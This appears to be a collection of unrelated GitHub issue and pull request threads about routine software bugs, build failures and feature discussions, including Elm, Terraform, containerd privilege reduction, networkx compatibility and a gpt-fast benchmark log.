onSubmit event cannot be decoded

Ellie:
https://ellie-app.com/pYJ2XkZZZa1/0
module Main exposing (main)

import Html exposing (Html, text, div, form, input)
import Html.Attributes exposing (action, attribute, class, class, disabled, for, id, method, name, type_, value)
import Html.Events exposing (..)

import Json.Encode
import Json.Decode
import Json.Decode.Pipeline

type Msg
    = SubmitForm Json.Encode.Value

type alias Model =
 String

decodeForm =
    Json.Decode.map
        SubmitForm
        (Json.Decode.at [ "currentTarget"
--                        , "dc_field_02"
--                        , "value"
                        ]
            Json.Decode.value)

preventDefault =
    { preventDefault = True
    , stopPropagation = False
    }

onLoginSubmit : Html.Attribute Msg
onLoginSubmit =
    onWithOptions
        (Debug.log "onLoginSubmit" "submit")
        preventDefault
        decodeForm

view : Model -> Html Msg
view model =
    viewForms model

viewForms model =
    div []
        [form [
                action "javascript:void(0);"
              , onLoginSubmit
              ]

              [
                input [name "foo"] []
              , input [type_ "submit"] [text "submit!"]
              ]

        ]

update : Msg -> Model -> ( Model, Cmd Msg )
update msg model =
    case msg of
        SubmitForm formContent ->
            let
                d =
                    Debug.log "Form Content:" formContent

            in
                ( model, Cmd.none )

init s = ("foo", Cmd.none)

main : Program Never Model Msg
main =
    Html.program
        { init = init "some token"
        , view = view
        , update = update
        , subscriptions = (\m -> Sub.none)
        }

error:
A JavaScript Error was thrown by your program:
too much recursion

I expected to be able to get my hands on the form after having submitted it. Currently it requires a weird dance around certain JSON properties.

Some aspects of this example are not possible with 0.19 such as the "javascript:void(0);" part. Can the example be trimmed down to something more minimal in a new issue?


Terraform GitHub

Use Terraform to manage and standardising the configuration of repositories across the organisation.
Documentation soon to follow.
Note

The workspace is locked so no Terraform runs will be accepted until we all happy with the current state
Changes to variables should happen within terraform.tfvars
All resources have prevent_destroy set to true in addition to allow destroy plans set to false within the Terraform cloud workspace
Relies on a secrets.repository_configuration_token (GitHub PAT) and secrets.TF_API_TOKEN (Terraform API Key) being defined within the repository before running
All existing resources we wish to manage need importing before hand

Terraform Format and Style 🖌failure
Terraform Initialization ⚙success
Terraform Validation 🤖success
Validation Output

Success! The configuration is valid.

Terraform Plan 📖failure
Show Plan

terraform
Running plan in Terraform Cloud. Output will stream here. Pressing Ctrl-C
will stop streaming the logs, but will not stop the plan running remotely.

Preparing the remote plan...

To view this run in a browser, visit:
https://app.terraform.io/app/stackhpc/github/runs/run-XGba9EHjaoqj78F7

Waiting for the plan to start...

Terraform v1.2.4
on linux_amd64
Initializing plugins and modules...
╷
│ Error: No value for required variable
│
│   on variables.tf line 7:
│    7: variable "github_app_pem_file" {
│
│ The root module input variable "github_app_pem_file" is not set, and has no
│ default value. Use a -var or -var-file command line argument to provide a
│ value for this variable.
╵
Operation failed: failed running terraform plan (exit 1)

Pusher: @jackhodgkiss, Action: pull_request, Working Directory: ``, Workflow: Terraform GitHub

Terraform Format and Style 🖌success
Terraform Initialization ⚙success
Terraform Validation 🤖success
Validation Output

Success! The configuration is valid.

Terraform Plan 📖failure
Show Plan

terraform
Running plan in Terraform Cloud. Output will stream here. Pressing Ctrl-C
will stop streaming the logs, but will not stop the plan running remotely.

Preparing the remote plan...

To view this run in a browser, visit:
https://app.terraform.io/app/stackhpc/github/runs/run-JMm6jf4R4evJVhzA

Waiting for the plan to start...

Terraform v1.2.4
on linux_amd64
Initializing plugins and modules...
╷
│ Error: No value for required variable
│
│   on variables.tf line 7:
│    7: variable "github_app_pem_file" {
│
│ The root module input variable "github_app_pem_file" is not set, and has no
│ default value. Use a -var or -var-file command line argument to provide a
│ value for this variable.
╵
Operation failed: failed running terraform plan (exit 1)

Pusher: @jackhodgkiss, Action: pull_request, Working Directory: ``, Workflow: Terraform GitHub

Terraform Format and Style 🖌success
Terraform Initialization ⚙success
Terraform Validation 🤖success
Validation Output

Success! The configuration is valid.

Terraform Plan 📖failure
Show Plan

terraform
Running plan in Terraform Cloud. Output will stream here. Pressing Ctrl-C
will stop streaming the logs, but will not stop the plan running remotely.

Preparing the remote plan...

To view this run in a browser, visit:
https://app.terraform.io/app/stackhpc/github/runs/run-x7LJNZA2ssf5HE2S

Waiting for the plan to start...

Terraform v1.2.4
on linux_amd64
Initializing plugins and modules...
╷
│ Error: No value for required variable
│
│   on variables.tf line 7:
│    7: variable "github_app_pem_file" {
│
│ The root module input variable "github_app_pem_file" is not set, and has no
│ default value. Use a -var or -var-file command line argument to provide a
│ value for this variable.
╵
Operation failed: failed running terraform plan (exit 1)

Pusher: @jackhodgkiss, Action: pull_request, Working Directory: ``, Workflow: Terraform GitHub


Inject data ttl

I updated changes to better fit the current code.  Tu Le, please look at the changes I made so that you can better understand how I used what already existed in the code.  Your solution works, I just refined it to better fit with Sniffles.  I did this to make the code slightly more efficient and to help you learn how Sniffles works better.  If you have any questions please let me know.
On a second Note, I noticed that you added five example rules files for testing ttl_expiry, they are numbered S1, S2, S3, S4, and S6 ... what happened to S5?

It's a typo, S6 should be S5

wow, i dont know that I can use contentGenerator to do that

Yeah, I forgot that I could do that with it as well.  However, that was exactly why I created the content generator.  That is also why I made the change so that you could understand the code better.

so as I understand, Content Generator will take a regular expression ( or snort rule i guess), and try to follow all branch of it, then it will put the result in the self.data. If you use next_published, it will pop one from the Content Generator. If the argument is none, then it just generate the random data with specific length right?


Small code of conduct edits

Added a note about the tl;dr in case anyone is confused, and fixed a spelling error, removed a whitespace, and uppercased IPFS.

LGTM


Make getindex/length the default interface

This removes the getindex/length defaults from AbstractDataContainer. Instead, types implementing the interface should implement Base.getindex or Base.length first, and only implement getobs/numobs when the fallback definitions don't apply.
Fixes #57.

Codecov Report

Merging #59 (c0a19e3) into main (e1f4c6b) will increase coverage by 0.21%.
The diff coverage is 75.00%.

@@            Coverage Diff             @@
##             main      #59      +/-   ##
==========================================
+ Coverage   88.91%   89.13%   +0.21%
==========================================
  Files          13       13
  Lines         415      414       -1
==========================================
  Hits          369      369
+ Misses         46       45       -1

Impacted Files
Coverage Δ

src/obstransform.jl
84.09% <57.14%> (ø)

src/batchview.jl
76.92% <100.00%> (+0.60%)
:arrow_up:

src/observation.jl
86.95% <100.00%> (+1.53%)
:arrow_up:

src/obsview.jl
65.78% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update e1f4c6b...c0a19e3. Read the comment docs.

I support this change 👍  Makes things simpler for newcomers, makes it easier to take advantage of types from other packages that already implement indexing, and one no longer needs to import (and export) getobs and numobs everywhere. Also the same interface as torch.utils.data.Dataset and familiarity is good.


Inconsistency when querying over JSON lists

Consider:
import net.liftweb.json._
import net.liftweb.json.JsonDSL._

object JsonTest extends App {
  val json =
    ("people" -> List(
      ("person" ->
        ("name" -> "Joe") ~
        ("age" -> 35)
      ),
      ("person" ->
        ("name" -> "Marilyn") ~
        ("age" -> 33)
      ),
      ("person" ->
        ("name" -> "Erik") ~
        ("age" -> 28)
      )))

  val names = (json \\ "name").children map { case JField(_, JString(name)) => name }
  println(names) // List("Joe", "Marilyn", "Erik")   -- as expected

  val json2 =
    ("people" -> List(
      ("person" ->
        ("name" -> "Joe") ~
        ("age" -> 35)
      )))

  val names2 = (json2 \\ "name").children map { case JField(_, JString(name)) => name }
  println(names2)  // List()   -- expecting List("Joe")

  val json3 =
    ("people" -> List[(String, JObject)]())

  val names3 = (json3 \\ "name").children map { case JField(_, JString(name)) => name }
  println(names3)  // List()   -- as expected
}

...is it by design that the json2 case doesn't work as expected?

:eyes: I'm claiming this one.

Oh I actually did start work on this... heh...

I sat down to pick it up and found a branch locally :P


Fix some pre-commit errors

Description
Fix ruff and some mypy errors.
Notes:

NDFlip has been renamed XYFlip since it is not flipping z since an earlier PR

Please ensure your PR meets the following requirements:

[x] Code builds and passes tests locally, including doctests
[x] New tests have been added (for bug fixes/features)
[ ] Pre-commit passes
[x] PR to the documentation exists (for bug fixes / features)

Once this PR and https://github.com/CAREamics/careamics/pull/124 are merged, we should be down to just a handful of docstring and mypy errors which will be the subject of a different PR as they relate to different refactoring.

supported_extraction_strategies.py was removed, why? Sorry if i'm missing something

supported_extraction_strategies.py was removed, why? Sorry if i'm missing something

It was unused!


[Bug Report] Unexpected downloaded content.

When I downloaded the music bot ver. 0.2.10, in the folder, wasn't those 3 things that should be in there, instead, this showed up: [
 same happened with the version 0.2.9. This didn't happen when I first downloaded the file, in 2019.

Don't open the jar in winrar, open it with java.


Spawn a subprocess with lower priviledges when handling container images

What is the problem you're trying to solve
containerd is often running as root and tends to have multiple Linux capabilities for issuing privileged syscalls such as mount(2). We could extract some parts of containerd to less-privileged subprocesses (like shims) to handle less-trusted inputs such as container images.
Describe the solution you'd like
Define areas we'd like to reduce privileges/capabilities and extract them into subprocesses (either forking containerd and drop permissions or having a special-purpose executables).
Additional context
No response

+1. We have this in Docker for Windows extraction already and we never finished the port to containerd.

@jterry75 Do you know the place Docker is doing that? @estesp mentioned the same and I checked moby/moby but couldn't find that.

https://github.com/moby/moby/blob/master/daemon/graphdriver/windows/windows.go#L803 you are looking for the reexec workflow associated with Docker. But for containerd I don't think it needs to be this complicated. It could simply be a binary we put in the middle for extraction always. I honestly can't imagine why we would ever want to do image extraction at root levels. It seems always safer (and not a perf degradation at the same time) to have the exec workflow for this.

@lowenna - You would be proud :)

@jterry75 😂

Related: #1681

@jterry75 Do you know the place Docker is doing that? @estesp mentioned the same and I checked moby/moby but couldn't find that.

https://github.com/moby/moby/blob/master/pkg/chrootarchive/archive_unix.go#L25
This is using the "re-exec" pattern on the docker/moby engine binary (there is a re-exec registration method for different binary names); it actually only uses chroot and doesn't drop privilege; so if I suggested that, I was incorrect :)

https://github.com/microsoft/hcsshim/pull/1399 - @helsaawy - Upstream is very interested in it :)

I the re-exec in Docker is used to isolate taking privileges, rather than dropping them. Extracting WCOW container image operations require taking some subset of SeSecurityPrivilege, SeBackupPrivilege, and SeRestorePrivilege (See Docker layer compare, layer exporter, layer applier <== the re-exec, diff getter; containerd diff applier, diff comparer, snapshotter. That's the point of #1681, which was the Windows-specific version of this ticket for isolating the higher privileges.
The comment in containerd is
	// TODO darrenstahlmsft: When this is done isolated, we should disable this.
	// it currently cannot be disabled, unless we add ref counting. Since this is
	// temporary, leaving it enabled is OK for now.
	// https://github.com/containerd/containerd/issues/1681

which indicates that containerd, once it has those privileges, never drops them. I wonder if that winio.RunWithPrivileges function might be the reference-count implementation?
I would also suggest for containerd, that implementing an external pluggable Differ like we have an external pluggable Snapshotter (and perhaps should have a mounter too) would make it easy to isolate all these privileges off in a single external process, and also shift the model of snapshotter to be more like the runtime model, and hence could be developed/evolved over in the hcsshim repo. But that's a fair bit of work and everyone should be bought-in on that. (AFAIK Docker moving to containerd isn't moving to use the containerd in-tree Snapshotter or differs, so this would be more-interesting to things like BuildKit.)
That said, I haven't actually looked at the binary stream processor API being used in that hcsshim PR (nor spent time on the PR itself), so maybe that already provides what I'd want from an external Differ anyway, and would allow simplifying and unhacking some details of https://github.com/containerd/containerd/blob/main/diff/windows/windows.go (like process privilege manipulation)

From what I can tell, we can use winio.RunWithPrivileges to disable SeBackupPrivilege and SeRestorePrivilege and other privileges after the function completes, but this does not remove them from the process. They are still added, just not enabled.
However, it does lock the OS thread, which might be an issue if other operations are happening in containerd, since it may increase load on other threads. Multiple layer unpacks would also be an issue, since each would lock a different OS thread, and potentially starve the rest of containerd.
I like the external pluggable Differ a lot more, since with the binary stream processor APIs, the data path is
[containerd]    [extract tar]    [convert to wclayer]
      |
      |------------->|
      |              |
      |<-------------|
      |
      |--------------------------------->|
      |                                  |
      |                                  x (saved to disk)
      |

which is a lot of unnecessary data shuttling and process startup.
An alternative would be to re-exec containerd, but that only launches the differ plugins, so that re-exec is always running, and is isolated from the rest of containerd and its plugins.
The focus of the PR (https://github.com/microsoft/hcsshim/pull/1399) is to run the extraction at lower privileges overall than what containerd has, since it runs as a service, and an exploit in parsing the tar streams could be disastrous.
The approach I have with the binary differs re-exces the executables with a restricted token (and I am switching to using app container) to remove all unnecessary privileges .
I do not know if that was the intent of #1681.

We need to do both right? We want to a) run with lower priv's during extraction phase and b) run with minimal but enhanced (Backup) priv's for layer initialization phase. Containerd should not use service priv's when extracting the tar and also containerd should not inherit Backup privs long term. Arent both of these correct?


Fletcher32 does not inherit from Checksum32

Minimal, reproducible code sample, a copy-pastable example if possible
In [1]: import numcodecs

In [7]: issubclass(numcodecs.Fletcher32, numcodecs.abc.Codec)
Out[7]: True

In [8]: issubclass(numcodecs.Fletcher32, numcodecs.checksum32.Checksum32)
Out[8]: False

Problem description
Fletcher32 is a 32-bit checksum, but it is not a subclass of Checksum32
Should it be? Also does this affect the documentation?

I am not aware of any technical use case in which the class hierarchy would matter. No methods would be inherited from Checksum32. The only reason could be, as you say, to indicate membership of a group for documentation.

I suppose this is not a problem as long as the Fletcher32 is documented along with the other 32-bit checksums.


Add closing question after student experiences

To close this out and be a little more opinionated about how to relate to this.

selfie


Issue in MarshMellow

in landscape mode when zoom imageview at that time crash in marshmellow.

Insufficient information. Please include the stack trace, image, library version and your code when reporting bugs.


Plugin approval

problem
Please remove https://github.com/TheFunEmbargo/QGIS-Gather-Connector/tree/main/pycache, it's autogenerated on install.
Also fix the plugin homepage in metadata.txt to reference a link that relates to the plugin not the generic site

Hi NyakudyaA,
I've removed the pycache. I made a small ui & code change adding a folder dialog, so have also incremented the version.
Cheers for reviewing this.

@TheFunEmbargo I do not see the section on your website, please fix the Plugin home page to link to that section you specifically mention

ping @TheFunEmbargo

Hi @NyakudyaA
Sorry for the delay. Have made the changes you requested: https://plugins.qgis.org/plugins/gatherconnect/


Support incremental deploy w/ code updates

Added options to deploy & start node scripts that allow full control of code & data

--keep-code (was previously automatically determined by --restart or --reset)
--keep-data (was previously --restart, which also controlled code deployment)

question: how many combinations were actually tested on the cloud? substantial cases we have are..
-> genesis case: 4 = 2 (keep code or not) * 2 (keep data or not)
-> incremental case: 8 = 2 (canary or not) * 2 (keep code or not) * 2 (keep data or not)

question: how many combinations were actually tested on the cloud? substantial cases we have are.. -> genesis case: 4 = 2 (keep code or not) * 2 (keep data or not) -> incremental case: 8 = 2 (canary or not) * 2 (keep code or not) * 2 (keep data or not)

These are the cases I've tested so far:

Genesis: 1 (--keep-code=false, --keep-data=false)
Incremental: 4 (all 4 cases without canary)

Finished testing all 12 cases. Fyi, I was trying to use a GCP instance for deploying like I've been doing in sandbox, but it kept getting stuck in the account injection stage.. Let me merge this PR though since the scripts are working in local.

Finished testing all 12 cases. Fyi, I was trying to use a GCP instance for deploying like I've been doing in sandbox, but it kept getting stuck in the account injection stage.. Let me merge this PR though since the scripts are working in local. cc: @platfowner

thanks for the hard work!
you mean a GCP instance as a client machine?

Finished testing all 12 cases. Fyi, I was trying to use a GCP instance for deploying like I've been doing in sandbox, but it kept getting stuck in the account injection stage.. Let me merge this PR though since the scripts are working in local. cc: @platfowner

thanks for the hard work! you mean a GCP instance as a client machine?

Thanks! And yes, I've been using an e2-micro instance named 'blockchain-deployer' for the sandbox and created a similar instance in staging~


Build matrix

Meh, fails on linux with the following:
/src/Tests/EmealKitTests/MockURLSession.swift:20:19: error: overriding declarations in extensions is not supported
    override func dataTask(with url: URL, completionHandler: @escaping (Data?, URLResponse?, Error?) -> Void) -> MockURLSessionDataTask {
                  ^
FoundationNetworking.URLSession:3:15: note: overridden declaration is here
    open func dataTask(with url: URL, completionHandler: @escaping (Data?, URLResponse?, Error?) -> Void) -> URLSessionDataTask
              ^

The overridden declaration is not in an extension though, but the function it references is. Is this intended behavior?


OIDC AWS China Regional Issues

What happened?
When I configured the AWS-CN region of OICD, an error occurred that I could not call OIDC to obtain AKSK+Token.
Example
Configure OIDC's AWS as cn-north-1 region
Output of pulumi about
oidc-dev:4:7 - values.aws.login:
Error: WebIdentityErr: failed to retrieve credentials
caused by: InvalidIdentityToken: No OpenIDConnect provider found in your account for https://api.pulumi.com/oidc
status code: 400, request id: e5da2212-0eba-4c74-88f5-a4ca3c997eac
Additional context
No response
Contributing
Vote on this issue by adding a 👍 reaction.
To contribute a fix for this issue, leave a comment (and link to your pull request, if you've opened one already).

We can't reproduce with the current information, but feel free to reopen with more details


Rename repo to ghrepo

This project will pretty only manage Github repos, and it seems more fluent to do ash ghrepo:labels.

@kylemac, thoughts?

(assigned it to you just to get your thoughts, I'll do the renaming if agree)

i prefer ghtools

Okay, I think I'll side with you... More flexible :cat:


Turbopack: Error resolving EcmaScript Modules request - unable to resolve dynamic

Can this be resolved from Kysely's side or does the fix have to come from Turbopack?
Related:
https://github.com/vercel/turbo/issues/2372
Error:
[project]/node_modules/kysely/dist/esm/migration/file-migration-provider.js - Error resolving EcmaScript Modules request
unable to resolve dynamic

 error - node_modules/kysely/dist/esm/migration/file-migration-provider.js:32:41  Error resolving EcmaScript Modules request

  30 |                 fileName.endsWith('.mjs') ||
  31 |                 (fileName.endsWith('.mts') && !fileName.endsWith('.d.mts'))) {
> 32 |                 const migration = await import(
     |                                          ^^^^^^
> 33 |                 /* webpackIgnore: true */ this.#props.path.join(this.#props.migrationFolder, fileName));
     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  34 |                 const migrationKey = fileName.substring(0, fileName.lastIndexOf('.'));
  35 |                 // Handle esModuleInterop export's `default` prop...
  36 |                 if (isMigration(migration?.default)) {
unable to resolve dynamic
It was not possible to find the requested file.
    Parsed request as written in source code: dynamic
    Path where resolving has started: [project]/node_modules/kysely/dist/esm/migration/file-migration-provider.js
    Type of request: EcmaScript Modules request
    Import map: No import map entry

That /* webpackIgnore: true */ fixes the same issue for webpack. Is there a similar annotation for tubopack we could add?

I guess not...


Clarification: can SymbolInformation point to a http:// resource instead of a file:// doc URI

I am experimenting with workspace symbols that contain a http://... URL instead of a URI to a text document. When the user selects such a symbol, a browser with that URL should open.
All that works already in VSCode (which is great). But the protocol defines the SymbolInformation to contain a Location, which contains a DocumentUri.
Question is: is it valid to use this for standard http://... URIs, too?
(and therefore on the client side to not rely on a file:// URL to be contained in a symbol)

Hi Martin. If this is not supported in LSP4E, that would be a good
enhancement IMO. Although not specified by the protocol, it's a pragmatic
feature to support.

--
Mickael Istria
Eclipse IDE https://www.eclipse.org/downloads/eclipse-packages/
developer, at Red Hat Developers https://developers.redhat.com/ community
Elected Committer Representative at the Eclipse Foundation
https://www.eclipse.org/org/ board of directors

Sure thing, I will work on a patch for that for LSP4E: https://bugs.eclipse.org/bugs/show_bug.cgi?id=526272

Yes it is valid. There is no restriction of the schema of the URI.

Maybe the real question here is not so much whether its possible to use http:// (or whatever) uris, but if its possible to use a uri that doesn't correspond to a document but points to something like a web-page that should be opened by a web-browser instead of a document at a specific line in the editor.
For example, a Java editor could show symbol information for library functions and include a uri for some on-line Java doc to open in a browser. I.e a link like this:
https://docs.oracle.com/javase/8/docs/api/java/util/List.html#addAll-java.util.Collection-
I think vscode does something sensible with links like these, but as far as I know the protocol doesn't really explain how/if using uris in this way is supposed to be supported (and what the rules are on how a client should interpret the uris).

I agree, but we shouldn't limit this. All I can think of is a client capability that specifies which schema type the client can handle. Opened #335


Cannot generate data with provided default settings

I got the below error when I tried to execute without modification of the downloaded settings.
AMLSim-master>python scripts\transaction_graph_generator.py conf.json
INFO:main:Random seed: 0
INFO:main:Simulation name: sample
INFO:main:Generated 1000 accounts.
INFO:main:Add 9900 base transactions
Traceback (most recent call last):
File "scripts\transaction_graph_generator.py", line 1154, in
txg.generate_normal_transactions()  # Load a parameter CSV file for the base transaction types
File "scripts\transaction_graph_generator.py", line 536, in generate_normal_transactions
self.add_transaction(src, dst)  # Add edges to transaction graph
File "scripts\transaction_graph_generator.py", line 580, in add_transaction
self.check_account_exist(orig)  # Ensure the originator and beneficiary accounts exist
File "scripts\transaction_graph_generator.py", line 314, in check_account_exist
raise KeyError("Account %s does not exist" % str(aid))
KeyError: "Account {'label': 'account', 'init_balance': 92221.09257625241, 'start': -1, 'end': -1, 'country': 'US', 'business': 'I', 'is_sar': False, 'model_id': 1, 'bank_id': 'bank'} does not exist"

Hi @YonetaroKawada ,
I was curious if you were able to solve this issue, even I am facing the same issue. Please let me know if you are able to resolve this issue.
Thanks in advance.

I have the same problem.

I believe this problem occurs if you use more recent versions of networkx . If you use 1.11 as they suggest, it works.
Try running:
pip3 install networkx==1.11

@FluxB I'm having the same problem here. When I change the networkx to 2.5, I have the error "ImportError: cannot import name 'gcd' from 'fractions' (/usr/lib/python3.9/fractions.py)"

Old versions of networkx are not compatible with newer python versions.
It seemed to work when changing the import from from fractions import gcd to from math import gcd in the file with the problems


documentation adjustment

What type of PR is this?

documentation

Which issue(s) this PR fixes:
#39

As no code changes are included, we proceed to merge this PR for it to be included as part of current version update.


pytorch版本问题，运行整套流程torch版本需要特定的版本吗？还是说2.1.0以上就可以

It needs to be PyTorch nightly for now.

It needs to be PyTorch nightly for now.

I use 2.3.0.dev20231214+cu121 version, but I got the error mentioned in #https://github.com/pytorch-labs/gpt-fast/issues/49. May it be related with the pytorch version? Which version do you use?

FYI, I am able to run this code repo using torch==2.1.2+cu121 (current stable release, not nightly), by just commenting out torch._inductor.config.fx_graph_cache = True in generate.py which is not available in this torch version. The rest of code can remain unchanged.
Reference run on RTX 4090
export MODEL_REPO=openlm-research/open_llama_7b
./scripts/prepare.sh $MODEL_REPO
python generate.py --compile --checkpoint_path checkpoints/$MODEL_REPO/model.pth --prompt "Hello, my name is"

Log:

python generate.py --compile --checkpoint_path checkpoints/$MODEL_REPO/model.pth --prompt "Hello, my name is"
Loading model ...
/opt/conda/lib/python3.10/site-packages/torch/_utils.py:831: UserWarning: TypedStorage is deprecated. It will be removed in the future and UntypedStorage will be the only storage class. This should only matter to you if you are using storages directly.  To access UntypedStorage directly, use tensor.untyped_storage() instead of tensor.storage()
  return self.fget.__get__(instance, owner)()
Time to load model: 5.11 seconds
[2023-12-17 10:30:31,781] [0/0] torch._dynamo.output_graph: [WARNING] nn.Module state_dict and backward hooks are not yet supported by torch.compile, but were detected in your model and will be silently ignored. See https://pytorch.org/docs/master/compile/nn-module.html for more information and limitations.

Compilation time: 86.28 seconds
Hello, my name is Tom and I am a recovering alcoholic and addict. If you have watched The Mowgli's YouTube videos or listened to their sound on Spotify, you might be surprised to learn that the two guys singing are recovering addicts. In 2014, I got a chance to see them live in concert and was immediately struck by how their story and message was one of redemption. They have all been clean for a little over five years.
I grew up in a Christian background, so I have seen a lot of people fall away from the Lord and/or lose interest in their faith. However, I had never listened to a band that was so transparently positive with their testimony of God's grace that brought them to a better life. They are brothers, and they have been through the same struggles that I suspect many of us have. However, they have been able to find the hope and inspiration to move on, which is inspiring and encouraging.
So, I hope
Time for inference 1: 3.14 sec total, 63.63 tokens/sec
Bandwidth achieved: 857.55 GB/s
Hello, my name is Hannah I am eighteen and I am currently a university student.
I am a social butterfly and love meeting new people. I am an outgoing and bubbly girl, everyone always comments how much they enjoy my company (which I am so grateful for).
I am a great listener as I love to just sit back and listen to people talk.
I am open minded, I am also ambitious and have a strong work ethic. I love to try new things in my life and always keeping my mind open to new ideas and ways of thinking.
I am great at keeping in contact with people and I am very good at being on time. I love to make new friends as well as making new memories with people. I love to have fun with people as I love to laugh as much as I can.monyjewels Narcisse,  samaire, monsieur, nikki, vicky, hélène, patrick, la
Time for inference 2: 3.14 sec total, 63.66 tokens/sec
Bandwidth achieved: 857.89 GB/s
Hello, my name is Jonathan. I am an English teacher and an American expat living in Sao Paulo, Brazil. I am also the host of the Brazilian Portuguese podcast, Portuguese for Brazilians. In this podcast, I focus on Brazilian Portuguese, the second most spoken language in the Americas. If you are interested in Brazil, and interested in learning Portuguese, this is your podcast!
Listeners of Portuguese for Brazilians, please visit www.portugueseforbrazilians.com.

This is a good place to start: How to Learn Portuguese (Brazilian) in 3 Simple Steps.

Not sure if you should learn Brazilian Portuguese or Portuguese from Portugal? <a href='https://hub.docker.com/
Time for inference 3: 3.14 sec total, 63.61 tokens/sec
Bandwidth achieved: 857.29 GB/s
Hello, my name is Martin Rotherham. I am an associate in the Commercial Litigation team at Berry Smith.
I have been involved in a wide variety of commercial litigation including debt recovery, contractual disputes, shareholder disputes, banking and professional negligence claims, as well as breach of confidence.
I also have a wide general common law litigation practice, having acted in cases in the High Court and County Court in England and Wales.
I have experience in dealing with banks and lending institutions, having acted for and against banks, both as claimant and defendant in litigation involving mis-selling of complex financial products, including mortgage-backed securities, residential and commercial investment trusts, and loan notes. I acted for the bank in a case in which the trustees of a mortgage-backed securitisation fund were successfully sued for negligence, breach of trust and breach of contract for losses arising from a default in a credit default swap.
In the banking field, I have also worked on claims relating to alleged mis-selling and negligence in
Time for inference 4: 3.14 sec total, 63.64 tokens/sec
Bandwidth achieved: 857.66 GB/s
Hello, my name is Chris and I am a bit of a car nut. Over the years I have owned a few cars and from time to time shared them with friends.
For the last three years I have owned a 1976 Ford Capri 2.8i. This car is a good example of how you can buy a car for a good price and make it very nice. However, it is getting a bit tired and I have decided to sell it.
In the meantime I own a 2013 Jeep Wrangler Rubicon Unlimited, which I have had since new.
I would like to sell the Capri to a person that is also a car nut. If you are interested drop me a message and we can have a chat. architec-1975.com (Must type the L's in blue), this is a very nice country-style home with 4 bedrooms, 2.5 baths, screened porch plus
Time for inference 5: 3.15 sec total, 63.57 tokens/sec
Bandwidth achieved: 856.78 GB/s
==========
Average tokens/sec: 63.62
Memory used: 14.14 GB


Develop SDH Brick Model

Work with SDU collaborators on this

Early version in https://github.com/SoftwareDefinedBuildings/BrickModels/tree/master/SutardjaDaiHall


ssh key and git author should be taken from system wide user folder

By default git takes the git configuration .gitconfig and the SSH properties .ssh from the home directory. Because we have a separate portable home folder inside the Cygwin Toolchain by default C:\PX4\home and might already have git and SSH configuration e.g. from Git for Windows (https://git-scm.com/download/win) in the Windows user global folder C:\Users\[username] an automatic optional link to the global configuration would be nice.

Done in https://github.com/PX4/windows-toolchain/commit/ff046aff1388750f2dd7f3fb8a5c44e829c1a5a2


Mailtime is working on local but when I deploy using google appengine (nodejs standard environment) and mongodb atlas it doesn't work at all no collection is created.

I'm having an issue:

Give an expressive description of what is went wrong
Version of mail-time you're experiencing this issue
Version of Node.js and NPM you're experiencing this issue
If you're getting an error (exception), please provide full error log (output in console) as file or screenshot

I have a suggestion:

Describe your feature / request
How you're going to use it? Give a usage example(s)

Documentation is missing something or incorrect (have typos, etc.):

Give a short description what you have changed/added and why
Make sure you're using correct markdown markup
Make sure all code blocks starts with triple ``` (backtick) and have a syntax tag, for more read this docs
Post addition/changes as issue ticket, we will manage it

Thank you for contribution, and do not forget to get rid of this default message

invalid


fix: fix generator for array options in get requests

Closes https://github.com/lucacasonato/deno_googleapis/issues/16

@lucacasonato when do you think you will have time to review and merge this?

Any other maintainers here?


Fixes denormalizing a unionOf relationship

When using unionOf to define a relationship (see example below from normalizr documentation) and the entity is either an Immutable.Map or Immutable.Record the relationship wouldn’t be de-normalized as expected.
const group = new Schema('groups');
const user = new Schema('users');

const member = unionOf({
  users: user,
  groups: group
}, { schemaAttribute: 'type' });

group.define({
  owner: member
});

Thanks a lot @DEfusion!
Would you mind to pass the lint? 🙏
Just running
npm run lint -- --fix

should fix most of the eslint errors which are preventing the build.

I've run the lint now, sorry about that

Coverage remained the same at 100.0% when pulling 076c38850cef2a436e723ccf81eec28971f13703 on DEfusion:master into dcda21711a056bbc5ec520f2a5278c86554e49cf on gpbl:master.

No problem! Thanks for improving denormalizr 👍

I meant to ask should I have done something to bump the version of the npm package? This is my first contribution to a npm package.

No need to update it, thanks! I'll take care of it. Congrats for your first npm contribution 🎉

Published as v0.3.3!


Video

[Enter feedback here]
Apart from steps, can you also publish video on this page for this as tutorial

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 598df6b5-6691-3a4c-8112-ec6aec43d175
Version Independent ID: 0a34a661-5035-3946-c2e4-a7ce5e697832
Content: Quickstart: Create and deploy a bot in Microsoft Teams - Power Virtual Agents
Content Source: power-virtual-agents/teams/fundamentals-get-started-teams.md
Service: power-virtual-agents
GitHub Login: @iaanw
Microsoft Alias: iawilt

Thanks for your feedback! We're working to add video content where possible.


Block aqa and tck tests if smoke tests fail or are unstable.

Close #121
Signed-off-by: Sophia Guo<EMAIL_ADDRESS>

@smlambert At the moment jdk8 alpineLinux Smoke tests fail due to:
19:17:04  /home/jenkins/workspace/build-scripts/jobs/jdk8u/jdk8u-alpine-linux-x64-temurin_SmokeTests/aqa-tests/TKG/envSettings.mk:34: *** DETECTED_JDK_VERSION value is 17, settled JDK_VERSION value is 8. JDK_VERSION value does not match. Please reset or unset JDK_VERSION.  Stop.

So with this change we won't be able to run tests on jdk8 Alpine ? I guess we can run manually instead?

Argh!  That relates to https://github.com/adoptium/infrastructure/issues/2934 for which there is a workaround on the test side, though I kind of wanted to see a resolution via the infra containers that we are exclusively using for test.

@smlambert @andrew-m-leonard I have updated the PR to set propagate=false, otherwise there is no way to get the downstream job status is it fails and fail the build step immediately ( we are using the catchError to avoid this now) https://issues.jenkins.io/browse/JENKINS-48475?page=com.atlassian.jira.plugin.system.issuetabpanels%3Acomment-tabpanel&showAll=true


QUESTION: way to hook into user response for grantPermission?

I would like to know if a user chooses to allow or deny remote notifications, so that I may update their preferences accordingly. Is it possible to hook into the response from this prompt?

Hi @MattDHill
I'm looking for this function as well. Did you have a solution yet?

Any updates on this?


NodeJS + Express: Cosmos DB connection error

Hi, i was facing a connection error con cosmosbd with mongodb, the issue was the connection string password.
We aware that the passwords that contain "==" at the end must be encoded as "%3D%3D"
The password with "==" simbols are in the  "connection string" menue
